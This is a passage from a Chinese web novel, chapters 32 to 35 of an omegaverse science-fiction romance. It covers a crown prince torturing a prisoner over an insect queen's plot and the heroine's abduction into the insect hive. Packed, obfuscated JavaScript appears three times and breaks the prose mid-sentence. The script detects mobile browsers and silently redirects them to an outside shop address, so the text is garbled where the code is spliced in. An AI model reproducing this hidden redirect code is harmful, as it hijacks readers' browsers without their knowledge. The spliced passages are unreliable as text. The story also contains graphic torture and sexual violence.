仿佛他的整个身体和精神都得到了净化。 随着齿尖缓缓离开皮肤,疼痛逐渐消失,但男人的渴望和不满足却骤然升起。 “去吧,我等你回来。” 仍处在迷醉中的男人暂时没有反应过来,桑宁叙轻轻松松就把他的正脸再次掰回到自己面前:“这次不许再随便乱死,我可是给你打好记号了。” 说着,她又忍不住舔了舔嘴角。 “等你回来,我们互相标记好不好?” 女孩清甜的嗓音如一把钩子似得挠得他心间发痒,在听到她的期盼后,穆沉凛只觉得心中才勉强陷入沉睡的巨兽像是立即再次挣脱了束缚,正在缓缓苏醒过来。 小坏蛋! 他怒气冲冲地将人一把薅起,随即便彻底放弃了压抑与克制。 即将结束之前,桑宁叙模糊中听见了男人咬牙切齿的许诺:“不许乱跑,等我回来接你。” 心愿已了的女孩按照约定松开双手落回床上,在男人极为耐心与温柔的安抚中渐渐睡去。 他的Omega变坏了,变成了一只会咬人的小馋猫。 将人哄睡后,穆沉凛对着镜子目光沉沉地摸着腺体上的两个淡红色小孔,刚才生理和心理同时出现的那种从未有过的激烈感觉让仍然在回味中的他不得不捏了捏眉心,强迫自己快速镇定下 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书里说,所有的Alpha们都极其厌恶自己的腺体被他人触碰,即使发情期中的Omega也不可在未经允许地情况下随意触摸。 她不喜欢这一点。 凭什么Omega的腺体在他们手中就能想摸就摸,想咬就咬? 可当Omega也想碰一碰Alpha的腺体时,居然还要先经过请示? 去他大爷的,她就要随便摸,不但摸,她还要咬,就算她的Alpha是什么最顶级最牛逼的又能怎样,他敢不同意? 好在穆沉凛对她几乎没有什么底线。 也许是因为作为高高在上的太子殿下,他没必要跟她这么个姑娘家家计较,又或是因为她是他的命定之番,他狠不下拒绝她的要求,所以只得被迫忍耐。 但无论哪一点,她都不在乎,只要结果是她希望的那样就好。 上一次在星舰中,当她大胆触碰男人腺体时,他并没有斥责,也没有强硬的抗拒,而是十分随意地把自己交到她手中,允许她任意玩闹。 当时她就觉得,这人对她非常纵容。 今天看来,的确是这样。 居然为了哄她毫不在意地低下高贵的头颅,放下强烈的自尊心,在她面前展示出自己身体最重要的部位,甚至还放任她骑在头上作威作福,哪怕当她真的咬下将信息素注入都不在意,居然在她的胡言乱语中狼狈地丢盔弃甲,再度被激起了渴望。 这人可真是…… 深得她心,可爱的要命。 明明是个吃人不眨眼的野兽,在她面前却愿意乖乖收起獠牙和利爪,弯腰匍匐,温柔又绮眷地放任她的一切行为。 只除了一点,总是不喜欢提前跟她说明计划,总是喜欢隐瞒行踪,也总是要她自行推测。 啧,要教,要改。 虽然她知道这也是为她好,为了最大程度的保护自己。 可是,她并不脆弱,也不惧怕危险。 她只想要…… 渐渐被梦境淹没的女孩动了动嘴唇,在寂静的房间中淡淡呢喃着什么。 要是,她能更强一点就好了。 33. 第 33 章 当穆沉凛紧赶慢赶终于抵达前哨后,男人却发现面前的景象和他想象中的并不相符。 “什么情况?” 黑色皮质长靴踩在干净透亮的地板上发出哒哒哒的响声,男人在冷蓝色的总控制面板前站定,皱着眉头查看屏幕上的运行轨迹。 “殿下,你到达的二十分钟前,虫族像是接到了虫母的命令突然全部撤回。当时大家已经力竭,伤亡惨重,我忙于协调人员疏漏了向您及时汇报,请您责罚。” 元宿一手拿着军帽,低着头对着太子殿下请罪。 “不怪你,我要回趟皇宫。” 穆沉凛语气莫名地看着探测小队最新传回的信息,不在意地对元宿比了一个结束的手势。 “太子妃那边……” “等我审完贺书愉就去接她。” “是!” 再见贺书愉,男人早已不是之前那副傲气又清高的模样。 穿在身上的深灰色囚服勉强算得上干净,很久没有打理过的头发与胡子乱糟糟地缠在一起,因为长时间无法入睡,男人满眼血丝,被迫在这个不见天日的狭小地牢中度日如年。 只要他不死,只要他还能保住性命,就一定能等到…… “殿下。” 牢固的铁门被人缓缓打开,在男人冷淡的视线中,侍卫很快就利索地退出房间,将空间留给二人。 贺书愉坐在墙壁的角落,纵然听见声音也没有睁开双眼。 能来这里找他的,除了那位太子又还能有谁。 反正他已经按照它的吩咐去做了,到时候只要…… “虫母现身了。” “什么!?” 穆沉凛当然知道用什么办法最能吸引他的注意,同时撬开他那张嘴。 “不可能,穆沉凛,别逗了。” 下一秒就重新漫不经心闭上眼的贺书愉勾起嘴角对他嘲讽道:“我还没那么蠢。” “你当然有那么蠢。” “什么意思……草!” 冰醋酸的威压顿时以铺天盖地之势朝他扑面而来,毫无准备的贺书愉在冰醋酸的胁迫与攻击下直接倒地不起,整个人都躺在地上交换着使劲打滚。 “好痛!痛!穆沉凛,你这个仗势欺人、猪狗不如的东西……啊!” 随着一声惨痛的嚎叫,被男人狠厉折断手腕的贺书愉浑身冷汗,死死抓着自己的胳膊在地上痛不欲生地继续辱骂:“你以为,要是不出生在皇室,要不是运气好恰好成为了顶级Alpha,你以为你又是谁?” 说罢,他像是还不够解气的模样,用力抬起头,一脸扭曲又恶毒的诅咒:“如果我们交换,你以为你还能像今天这样耀眼,是全帝国至高无上的太子殿下吗?不过是会投胎罢了,我呸!” “贺承科……我那可怜的外公,要不是你们穆家下令处死他,我母亲又如何会被父亲抛弃,最后抑郁而终,而我又如何会变成一个腺体残疾的Alpha……” “这一切,这所有的一切。”贺书愉喘着粗气,声音像是漏风的琴箱,难听又沙哑,却依然疯狂又暴怒地质问着这位含着金汤匙出生的太子殿下,“要怪就怪你们穆家,要怪就怪你的父亲,如果不是他当时不肯听从外公的建议尝试与虫族联络,现在的帝国又怎么会面临这样的局面。” “他就是懦弱、胆小、愚蠢又自私,帝国摊上一个这样胸无大志的帝王,也难怪也被虫族侵犯灭亡,这是你们穆家自找的!啊!” 另一只手腕也被掰断,此时正软塌塌地踩在男人脚下。 穆沉凛并没有因为贺书愉的污言秽语和咒骂而气愤,男人依然像往日那般淡定平静,只是在释放更多信息素的同时,随意踢了踢贺书愉那断掉的手腕。 在贺书愉新一波的惨叫中,穆沉凛勾起嘴角,黑眸中满是嗜血与残暴,他不客气地又踩了一脚男人断裂的手腕,好以整暇地耐心问道:“还是不肯说?” “我还有什么可说的,你不是什么都知道了吗!” 痛到极致的贺书愉终于不再嘴硬,他以一个十分滑稽又奇怪的姿势面朝地俯趴着,手腕因为无法使用而导致直不起身体。 自从他被关进来的这几天,每天都疯狂的回溯自己每一步的行动,他可以非常确定,自己并没有露出任何马脚。 但即使如此,穆沉凛却能全盘得知他的计划,这代表着…… 该死的,从一开始他就什么都知道! 自己所有的计划、实验、研究结果,每一步都牢牢掌握在他手中! 这个疯子、变态,从他进入皇宫的第一天起大概就已经悄然盯上了自己。 想到这里,想到自己千辛万苦取得的成就到头来倒成为他人的嫁衣,尤其还是穆沉凛,贺书愉只觉得自己的心头在滴血。 他引以为傲的一切,他伟大的计划,全都被这个男人给毁了! “穆沉凛,我现在只恨,当时一开始就应该直接做掉你的那个什么命定之番,没有她……呼哧……” 男人像是喘不过气来停顿了两秒,紧接着又怒气冲天地对着他大吼道:“没有她,你又如何……不对。” 突然之间,他画风一转,再次对上穆沉凛毫无感情的视线,只见贺书愉满脸淫邪地舔了舔嘴唇后才开口:“不对,怎么能如此轻易就杀掉她呢?多么独特可爱的Omega啊,第一次见她时,她好胆小好紧张好可爱,甚至让我都忍不住想上前抚摸拥抱,好好放在身体里疼爱一番。” 终于如愿以偿地看见男人立即变化的狠厉眼神后,觉得自己终于占据上风的贺书愉继续挑衅说着:“当时在星舰上你躲着不见她,我就应该乘机把人带回研究室,然后在属于我的那张桌子上一点点耐心地安抚她、吸引她、引诱她,让她在安全感最缺失的日子对这样体贴温柔的我产生好感,寻求我的庇护,然后……” “然后求着我标记她,求着我帮她离开你,求着要永远臣服于我,就算把腺体咬烂嗦肿,也不愿分离……啊啊啊啊啊啊!” 两只脚腕也被踩断,即将在爆发边缘游走的穆沉凛满脸阴沉地死死凝视着他,一个大力把人向后翻了过去。 “疼啊啊啊!穆沉凛你!啊啊啊啊!” 本就脆弱的腺体被男人的皮靴根部狠狠碾在脚下,听着耳边传来贺书愉疯狂的痛呼和怒骂声时,穆沉凛才觉得心中的黑暗和施暴欲勉强缓解了一点。 天知道,他刚才差点忍不住,就快要信息素失控把人直接捏成碎片。 他的发情期才结束。 没有哪个Alpha能忍受另一个Alpha当面意淫自己的Omega,Alpha生来就对自己的Omega具有疯狂的占有欲和标记欲,绝不允许任何人窥探。 更别说他还是个顶级Alpha,而他的Omega还无法被自己标记。 尽管知道贺书愉绝不可能对她动手,但就算只是听到几句虚假故意诱他暴怒的话语,他也还是忍不住上钩,恨不得立刻把人狠狠钉在墙上,然后在贺书愉痛苦地哀嚎与求饶声中一点点刮下他身上的每一片肉,让他沉浸在疼痛的世界中,求生不能,求死不得。 但他暂时还不能死,他们还需要留着他继续挖掘帝国其他的蛀虫。 这帮老不死的东西不安分太久了,居然真敢听信贺承科和贺书愉的吹捧,妄想与虫族取得联络,甚至设计掌控它们。 不怕遭到反噬的蠢东西们,这些人一日不除,帝国的安危就一日不能保证。 就连他,在尝试链接虫族时都遭到了污染和侵蚀,更别提这些信息素普通、从没上过战场的Alpha们,居然胆大包天到妄图放手一搏。 到时候,等待他们的唯一结果,就是帝星彻底沦陷在所有雄虫的口下,变成虫母的另一个培养皿。 看着在地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16964769|190985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上艰难翻滚,唾液顺着嘴角不断流下,痛到几乎快要失声的男人,穆沉凛粗暴地把人拽起后毫不客气地丢到那张铁质硬床,在剧烈撞击和贺书愉尖锐沙哑的喊叫中,给人强硬地灌下一杯冰水。 “说吧,它的计划,我没耐心陪你耗。” “我才不会告诉……” “嗷!” 更浓郁纯粹的冰醋酸碾压式地精准直击腺体,从内到外涌出蚀骨的酸疼和灼烧让贺书愉整个身体仿佛都被浸泡在极度刺激的化学溶液中,皮肉时刻可能被溶解分离,最后只剩森森白骨。 “好痛!” “穆沉凛……我说我说!” 冰醋酸的威压终于一点点褪去,穆沉凛烦躁地把人从床上拽起,眯着双眼凶狠地盯着他,等待着那个答案的到来。 桑宁叙是在照镜子的时候发现,原本两颗还有点钝的虎牙不知道什么时候变得尖利起来。 她小心翼翼地伸手摸了摸,锐利的顶端戳在手指的软肉上不小心扎疼了她。 她的牙,好像没有这么尖吧……怎么看起来跟吸血鬼一样。 摸不着头脑的女孩咧着嘴呲着牙观察了半晌,最后也只好怏怏放弃了追寻原因。 算了吧,反正这个世界什么离谱的事情都能发生,无所谓,破罐子破摔了。 至少,她现在也能咬破Alpha的腺体了不是吗? 回忆着牙齿刺破男人敏感的器官,浓烈的酸意纷纷涌入口中时,桑宁叙只觉得自己好像是被猛灌了一大口白醋。 好酸,好涩,好苦,味道一点也不好。 原来这就是穆沉凛信息素的味道,难怪当初那么多优雅好闻的小O都受不了。 这要换做是她,大概也会在闻见那股酸味的下一秒就被直接熏晕过去吧。 不过,当她顺应欲望将自己的信息素注入男人体内时,如清泉般甜淡冷冽的味道霎时间冲走了那股挥之不去的剧酸,冰冷但干净融雪的味道稀释了味,一点一点变得愈发柔和起来,到最后,她甚至品尝出些许不加糖冰柠水的味道。 好在她并不嗜甜,反而对酸的食物情有独钟,因此这点程度的酸味对别人而言也许会厌恶,但于她而言反倒是刚刚好。 真想再试一次。 除了信息素的味道之外,咬破腺体最大的爽意还在于,让这个人从内到外都牢牢掌控在自己手中,无法逃避、无法抗拒,只能高抬着脖子自愿接受她所给予的一切,只能依赖她,只能被她占有。 她喜欢这样的感觉,让她得以掌控一切的绝对安全感。 这也是她来到这个世界后,第一次对占有产生了莫大的兴趣。 她不想做羸弱的菟丝花只能攀附着谁才能存活,她不喜欢单方面被保护、被掌握、被决定、被选择。 她所追求和期望的,并不是非要谁比谁高,谁在谁之上,而是绝对的平等。 你想标记我,你想咬我,你想占有我,当然可以。 但前提条件是,同样,你也要自愿被我标记,被我咬,被我占有,成为我的人。 他们那套AO教条对她而言没有任何意义。 是,她是穿越了,但那又如何。 也许只因为性别为女,所以就只能在集体意识的作用下变成一个Omega。 可惜,不好意思,这不是她想要的。 既然穿越的选择权被夺去,那么性别选择的权力,总该留给她吧。 看着镜子中面色红润、气血充足的面孔,女孩拨开被长发掩住的小巧腺体,那里似乎变得比以前更加饱胀了一些。 轻轻摸了摸,桑宁叙没在继续使用阻隔贴,而是对着镜子里那个熟悉的自己扯出一抹极淡的笑意。 她决定了。 到底是继续做Omega,还是成为Alpha。 这个世界上,只有她才是自己唯一的独裁者。 34. 第 34 章 桑宁叙觉得目前的状况好像不太对。 先是某天夜里突然停电,之后又开始停水,最后连室内温度也逐渐下降。 即使她的帐篷暂时有足够的饮用水和营养剂,但也撑不了太久。 耐心等待了大半天后,基地依然没有传达任何通知,更别提有人上门维修,好在通讯设备内部装有备用电池,才没有关机。 裹着两层被子却依然冷得不行的桑宁叙吸了吸鼻子,第五次发送了求助讯号。 这帮人的行动速度实在是太慢,继续这样干等下去,她可能真的要提前嗝屁了。 昨天夜里也不太平,睡梦中似乎总能听见室外传来的奇怪响动。甚至有好几次,她总觉得有什么东西在帐篷顶部缓慢又艰难的爬动,而那些微小奇怪的动静听起来则隐隐类似于坚硬触角和支腿在碰撞摩擦中发出的哒哒声。 平时的荒星一向很静,有一种令人躁动不安的、诡异到来前最后时刻的寂静感。 刚开始她很不习惯,于是便总开着新闻,好让心底的那股慌乱和不适被驱赶。 后来习惯了,反倒渐渐觉得也不是那么难忍。 所以,当这本该存于寂静中的地方,突然某一刻奇异地开始发出响动时,她就知道一定有什么事情在她眼皮下悄悄发生了。 自从踏入MS-8310的那一刻起,桑宁叙就已经提前做好充分的心理准备,知道自己或许会在这里见到什么。 她从未忘记书本中的那些介绍和描写,甚至在梦中亲历过,但…… 她还没有亲眼见过真正的虫族。 眼下的情况并不明朗,她也无法确定穆沉凛到底什么时候能再次出现,因此在军方派人到来之前,她最好还是稳住心神,不要轻举妄动。 想到这位太子殿下,桑宁叙有点发愁,她暂时还没想好之后正式见面时该怎么面对他。 当他假装林深出现,起初她的确没有意识到这人就是穆沉凛。 但之后,在一次又一次无法抗拒的亲近中,她很快便发现这人身上那些熟悉的小动作,简直连藏都懒得藏,几乎就是正大光明地在向她坦白:你看,是我,别怕。 她知道这人有自己的打算,既然他还没准备好恢复真实身份,那她便也不再多问,继续装成不知情的天真模样。 好在失去身份束缚后,她和他在日常相处中竟意外合得来。 他说过,信息素的匹配从不单单是生理上的契合,更大程度代表着双方精神思想的匹配。 现在看来,好像的确如此。 比起帝国大部分的Alpha,穆沉凛对于标记、发情、占有的情感实在过于淡薄,并不如她所以为的Alpha那样,是个只知道释放欲望的野兽。 他控制的很好,好到在得知她不喜欢被咬时竟然也能遏住獠牙,更甚者,高高在上的太子殿下居然能容忍被一个普通的Omega刺破腺体。 她有预感,如果这件事以后不幸被暴露,她大概也会毫不犹豫受到全帝国Alpha的暴怒和指责,说不定还会有人联名上书,请求男人废除她这个太子妃。 哦对了,她现在已经被废除了。 前太子妃啊…… 桑宁叙眯了眯眼睛,啧啧,这么看来,她是不是可以出去随便…… 下次再见他,一定会非常有意思的。 心眼子滴溜溜转的女孩扬起嘴角,露出一抹不怀好意的笑容。 让他总喜欢瞒着自己。哼哼,有来有往才公平嘛。 大概是因为容身之所遭到威胁,桑宁叙也逐渐按捺不住焦躁和烦怒的情绪。 通讯设备的电量即将告尽,她却还是没有等来所谓的救援。 现在怎么办? 是继续耗在屋子里得以片刻的心安,还是一鼓作气冲出去寻找救援? 但她没有交通工具,难不成还真让她凭着两条腿走到那个不知方向的基地去? 再等等吧…… 然而失去了时钟,桑宁叙很快就无法准确的判断时间。 最近这些日子,荒星的能见度变得更低,白天和黑夜几乎无法区分,只有偶尔正午时浓雾会渐渐散去,但很快,一切又会重新归于模糊之中,被浓雾和粘稠的黑暗所吞噬。 她快要分辨不出自己在帐篷里待了多久。 极低的气温让她眼前一阵一阵发黑,太阳穴又痛又胀,脑子几乎像是要爆炸一样。 如果再不尝试自救,她就要被冻死了。 没办法,不管外面是陷阱还是什么别的,她都必须要出去看看,也许运气好了,说不定能找到一辆废弃的巡逻车或飞船。 唉,前段时间不该摆烂,应该提前出去认真探索一番,为未知的未来做好准备。 是她大意了,以为穆沉凛没死,这里也就绝对不会有事。 现在看来,她几乎是被某些东西逼着走出这间安全屋。 得,既然如此,那就走一步看一步吧。 贺书愉的审问极不顺利。 大概是猜到自己暂时不会被处死,纵然在穆沉凛的施暴和信息素的压制下,男人依然嘴硬着只会辱骂和诅咒,拐弯抹角地把话题引向其他地方,却一直不肯说出虫母的计划。 一天一夜,看着奄奄一息、浑身血肉模糊没有一处好皮的男人,穆沉凛扔下手中的鞭子打开了手环。 元宿有急事找他。 穆沉凛拧了拧眉心,元宿很少在知道他忙碌时还会贸然打扰,看来他不在的这段时间,又出事了。 一瞬间,燥意和不耐迅速涌上心头,穆沉凛吩咐侍从抬来冰水往人身上倒,自己则转身离开了囚室。 “殿下!” 看着元宿焦急地等在门口,突然有一种极为不好的预感出现在太子殿下的脑中。 穆沉凛加快了步伐,终于等到太子殿下的元副官也匆匆朝他跑来。 “殿下,三分钟前收到MS基紧急联络,大批虫族突然进犯。因为信号塔被虫族蓄意破坏,消息一直送不出来,基地就快要支撑不住了,我刚才已经让江止带人前去救援,但是……” 桑宁叙。 元宿还没说完,穆沉凛就已经想到了那个被他还留在荒星上的女孩。 该死的,当时不接她回来无非是因为帝星的一切还没有成功收尾,前哨又一直处在混乱之中,与其贸然把人带回,不如安置在MS星系更安全,况且那里也有他特意留下的军队。 贺书愉! 电光火石间,忽然一切都通了。 女孩离奇的梦、贺书愉拿到的信息素、他的发情期。 它的目标是桑宁叙,它在找她! “呵呵……” 昏暗腐臭满是血腥气味的囚室内,不断昏死又在一盆盆冰水的刺激下被迫清醒的男人哑着嗓子低低笑了两声,阴沉的眸子中满是阴狠与快意。 “自大的蠢货……活该。” 终于将自己全副武装好后,桑宁叙站在门口缓缓吐出一口气。 可当她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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大名鼎鼎的虫族,纵使在书籍中见过图片和绘画,但当它真正出现在眼前时,她才明白为什么书本上说,以帝国现在的技术,还无法把这东西原模原样地还原在众人面前。 她印象中的虫族的外壳都是漆黑无比,坚硬、冰冷、牢固,无法随意刺穿。 可外面这个…… 整个身体如水母一般呈现透明状,体内无数条细密不断的神经脉络散发出深紫色的星光,一条又一条颜色黄灰的触须在空中不断挥舞,仿佛是在表达见到她的激动。它的身体表面看起来异常柔软,感觉轻轻一戳就会破皮,体内大量透明的粘液则会滚滚不断地流出。 六条长肢不似其他雄虫如机械般精准敏捷,能让它们随时在各种星球的地面上弹射、滑行、掘地、攀爬。面前这位的六条肢节犹如退化一般,又短又小又肉,大概只允许它在平坦的地面上快速爬行。 它没有脸,头部光滑平坦的软肉中裂开一条不时蠕动的细缝,里面则藏着一条内嵌式、如可伸缩钻头模样的猩红色尖锐口器。 好恶心。 它一步一步快速朝她挪动,看着透明的□□在移动中交叠着晃动伸缩,桑宁叙恐惧地望着这个有点类似于蠕虫但又大了几十倍的东西一扭一晃的贴近门口,正伸出触须探测着入口的大小。 她真的要吐了。 好恶心,好恶心,好恶心! 在她死死捂住口鼻即将要吐出来之前,忽然,那根在门口晃晃悠悠地触须以掩耳不及迅雷之势冲进了房间。 不等她反应,桑宁叙只觉得后背一疼,随后在冰冷又柔软的触感中,陷入了昏迷。 35. 第 35 章 桑宁叙很久没有梦到过去了。 穿越后的日子,让她似乎已经忘记了过往的存在。 但其实老实说,那些日子好像也并没有什么特别回忆的必要。 从小离异的父母,去世的爷爷奶奶,渐行渐远的朋友和同学,勉强能糊口的工作。 她的人生,不过是如一粒尘埃那样微小又普通。 她不喜欢回忆过去。 好的、坏的,快乐的、痛苦的,反正都已逝去,又有什么必要非得再翻出来重新感受和体验呢? 她只想注重当下的每一秒、每一刻。 可现在,她只觉得自己的大脑仿佛被什么东西操控着搅了又搅,硬是逼着她把从出生后的所有记忆片段都翻了出来,然后接连不断地在眼前重演了一遍。 好难受,头好痛…… 她在哪,她是要死了吗? 意识渐渐回笼,四肢疲乏到无法动弹。 睁眼前,她最先感受到的是身体处在一个异常温暖潮湿的地方,像一个巨大温热的培养皿,即使没有嗅觉,但空气中浓稠的水汽一瞬间就黏在鼻腔内侧,让她隐隐有一种无法呼吸的错觉。 很吵。 最先入耳的是液体缓慢流动的声音,然后是奇怪的摩擦声,紧接着是无数听不懂的低语连续不断响起,音调像字符一样自动进入大脑却无法被意识吸收。 说什么呢……女孩紧蹙起眉心。 咚—咚—咚— 一下又一下,沉重缓慢却充满节奏感的巨大声响一次又一次撞击在她的胸口处,思绪模糊又困倦的女孩仔细辨认了一会儿,只觉得像是某种沉睡巨兽的心跳不断在耳边响起,昭示着自己存在。 难听又尖锐的嘶鸣也随之而来,此起彼伏,不一会儿就吵得她头疼欲裂,神经仿佛要被撕断。 安静! 女孩紧闭着双眼面色惨白的在心中命令,都安静。 然而,周围的杂音却并没有如她期望那般逐渐消失。相反,震耳欲聋的咚咚声不断回荡,听不懂的语言和幼儿般无法停歇的嚎叫与嘶鸣愈发来劲,汇合在一起简直像是一首杂乱无章的交响曲。 随着声音越来越大,四周越来越吵,桑宁叙甚至觉得自己身下柔软的床垫也在随着节奏此起彼伏地摇摆、震动。 与此同时,有什么东西一个个的从上面掉了下来,重重地落在她的身边后发出“噗嗤”“噗嗤”的怪异声响,一阵窸窸窣窣后,好像有什么活着的东西从里面爬了出来,一刻不停地经过她的身旁。 烦人。 桑宁叙被一切扰得不胜其烦,她正想调整姿势重新入睡,却在翻身时被后背传来的钝痛牵扯到神经,脑子顿时清醒了几分。 什么情况? 疼得龇牙咧嘴的女孩终于失去了睡意,她慢慢捶打着过于沉重的后脑勺,用另一只手肘撑着身下过于柔软的床垫,反应迟钝地爬了起来。 她记得,她在帐篷发生了意外,然后…… 草,她被那个怪物给打晕了! 终于想起一切的女孩霎时间睁开双眼,随即便被面前惊悚又恶心的场景震撼到迟迟说不出话。 她正躺在一处明显被隔离出来的小型区域,一层如气泡般的奶白色薄膜将她与外界隔离开来。那让她感觉温暖柔软的床垫,此时则变成了褐色土地,但若是向周围望去,地表上布满了粗细不一的血管状根系,它们仿若在自动呼吸一般,缓慢起伏中蜿蜿蜒蜒地略过她的身旁。两侧墙壁柔软鲜嫩的表皮上则布满直径更大的管道,蠕动中甚至能隐隐看到包裹在其中被接连传送的圆球。 像卵。 念头才刚一出现,似是为了证明她的判断,两颗如头颅般大小的透明圆球包裹着恶心的粘液顺势从顶部掉落至她的身边,拉丝的液体如同热腾腾的芝士一般迟迟不肯断开,溪流一般的其余液体则一股脑地浇在虫卵上。 桑宁叙死死咬着牙关不敢发声,里面的东西在落下后很快就破壳而出,一包水囔囔的玩意儿被锋利的锯齿从里面凶狠地撕咬扯烂,然后外表猩红一滩软肉的幼虫便蠕动着向前爬去,很快就被几只黑色的触角抓起带走。 桑宁叙忍着即将要吐出来的恶心表情,缓缓深吸了几口气后,才敢一点一点抬头看去。 上方是个比她想象中还要巨大宽敞、穹顶般的腔室,像蜂巢般集中密密麻麻的卵囊贴在旁边嫩红如肠道般的墙壁上,她头顶部的正中央则悬挂着一个完全透明如胃袋形状的容器,里面储存着数以万计颗虫卵,不停地扭动、嘶吼、甚至……吞噬。 她到底,为什么到这里来了? 她又要,怎么出去呢? 帝国自虫族主动发起攻击以来,就开始不断派人在宇宙中扫荡探查,希望找到这类家伙起源的那颗源星球,定位虫巢与虫母。 然而无一例外的是,每一次搜索都以失败告终。 不过现在…… 随着巨大的哄鸣声在耳边嘶吼,一股强劲的浓雾与冒着热气的粘液突然在她面前喷发,桑宁叙一时不查被刺激到眼睛和喉咙,她捂着嘴巴拼命咳嗽,一幅像是要把肺咳出血的模样。 还好她闻不见,这玩意儿的刺激性也太强了点。 满眼泪水,眼眶泛红,喉咙烧灼到甚至无法吞下口水的女孩艰难地地喘息着,在她以为自己即将窒息而亡前,一切又缓缓散去,披头散发的桑宁叙瘫在地下双眼无神地盯着头顶那些恶心可怖的画面,一时间只觉得大脑短路,面前的所有场景均无法被理解。 “你……没有发情?”机械奇异,语调古怪,像刚学会说话的的声音从头顶上方传来。 发什么情?穆沉凛又不在。 她不知道谁在说话,身体因为刚才闹得那一出正难受的紧,嗓子则像被什么东西堵住一般,死活发不出声音。 啧,好烦。 桑宁叙闭了闭双眼,使劲在胳膊上最敏感的地方掐了一把,眼眶中的泪水再次蓄积,不过好在她的神志终于不再那么模糊。 “你谁……”张嘴后吭哧了半天的女孩终于艰难地发出两个音节。 “你对他的信息素无感?” “你不是他的命定之番?” “为什么闻了他的信息素却没有反应?” “奇怪的帝星人……” 问题络绎不绝地被迅速抛向她,然而却并不给她回答的机会,那东西又自顾自地说了下去。 “明明好不容易才复刻出他的信息素,为什么没有效果?” “难道是不够吗?” “是的,信息素不够,无法诱导Omega发情。” “再试一次。” 等等等,试什么? 刚才那一出吗?! 来不及开口的桑宁叙还没出声反抗,就被新一轮的浓雾和粘液攻击了个正着,她一边快速用衣服捂住口鼻,一边拼命挥手,试图让这股刺激五官和大脑的气体赶紧散去。 也许因为她被过度刺激到神经,一直安分守己的冰湖悄悄冒出了点头,不经意间为主人带来一缕清新又爽朗的冷空气。 清冷的气体逐渐占据口鼻,桑宁叙的泪水也终于止住了一些,她蒙着头在衣服里大口呼吸,极寒的风吹散了周围环绕着她久久不肯离去的难闻又尖锐的气体,此刻正轻柔地缓解着她的不适。 这个狗东西在搞什么! 等白雾散尽,桑宁叙愤恨地抬起头,对着头顶那个不知道什么东西的玩意儿嘶哑地大吼道:“你要呛死我啊!” 似乎是没想到这个Omega依然没有被诱导发情,那东西竟然罕见地沉默了许久。 桑宁叙捏着鼻子艰难地给口腔换气,恨不得赶紧把喉咙中的那股火辣辣的刺感给呕出去。 这家伙给她都喷了一堆什么…… 正嘟嘟囔囔抱怨的女孩并没有注意到身后裹着热风从虚空而来的一条触角,随着啪的一声,女孩依然保持着原来的动作,身体却软绵绵地倒回了地上。 这次她是在梦中被强制唤醒的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979025|190985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗯,大概是个梦吧…… 桑宁叙望着和前两次差不多的场景,不由自主地缩了缩脖子。 不知道这位虫族的……要找她作甚。 难不成是发现自己不属于这个世界后,想要策反她吗? “桑宁叙。” 随着声音响起的下一秒,她发现自己被瞬移到了一个奇怪的地方。 不同于刚才宇宙中的完全黑暗,这里…… 女孩默不作声地打量着这个弥漫着淡紫色冷光的腔室,看着最中央那个对着自己发出声音的东西,抽了抽眼角。 一个比她在荒星上看到的还要大数十倍的软虫悬浮在正中央,从透明脑体中延伸出无数散发着深紫色的光束神经将四方紧紧连接在一起,周围环绕着数不清的输送管道和次脑节点,整个腔室充满了巨大的威压,冰冷和肃穆之感,桑宁叙微微侧耳,甚至能听见神经脉络微弱的响动和思维流淌时那低沉熟悉,却无法破译的低鸣。 眼前的东西像是处在沉睡中,但桑宁叙还是清晰地听见了那语调奇特,让人头皮发麻的三个字,她的名字。 “穆沉凛的命定之番,知道我是谁吗?” 桑宁叙的眼睛一眨不眨地看着距离她明显还有一段距离的虫体,半晌后终于垂下双眸,语气淡漠地答到:“不知道。” “你当然不会知道。” 女孩从它的声音中听出一抹不屑,她依然低着头没有吭声。 见她没什么反应,那东西才又缓缓开口:“你的信息素很独特,就连我,都无法复制。” 这样吗? 桑宁叙一言不发地听着它继续道:“没想到你对虫族的精神污染也能免疫。穆沉凛,真是找了个好Omega。” “虽然你打乱了计划,但是……” 诱惑的声音忽然贴在耳边响起,桑宁叙皱着眉头面色不好地微微抬头,不知何时,她的位置距离这家伙就只有不到20厘米,看着近在咫尺的恶心生物,她忍了又忍,才没有当着它的面吐出来。 她平生最讨厌的东西就是虫子,特别是那种看不见眼睛甚至没有脸的虫子。她现在只庆幸自己被绑前只喝了几瓶营养液,不然非得把胆汁都给一并吐出来。 要说她不害怕吗? 当然是害怕的,毕竟自己的小命现在就捏在人家手里,万一它一个不开心,说不定就把她吞掉作为其他卵蛋的营养品了。 但是,她现在的恐惧却不及恶心来得剧烈。 再大的恐惧也可以随着时间的流逝因为习惯而渐渐减弱,但恶心不是。 恶心的东西放在那里不论过去多久,心底最原始的反应和恨不得尖叫着逃离的紧迫感,都让她永远无所适从。 恐惧,是来自于未知和力量强弱的不对称。 而恶心,则是无法抗拒的心理反应,无关于双方能力的强弱。 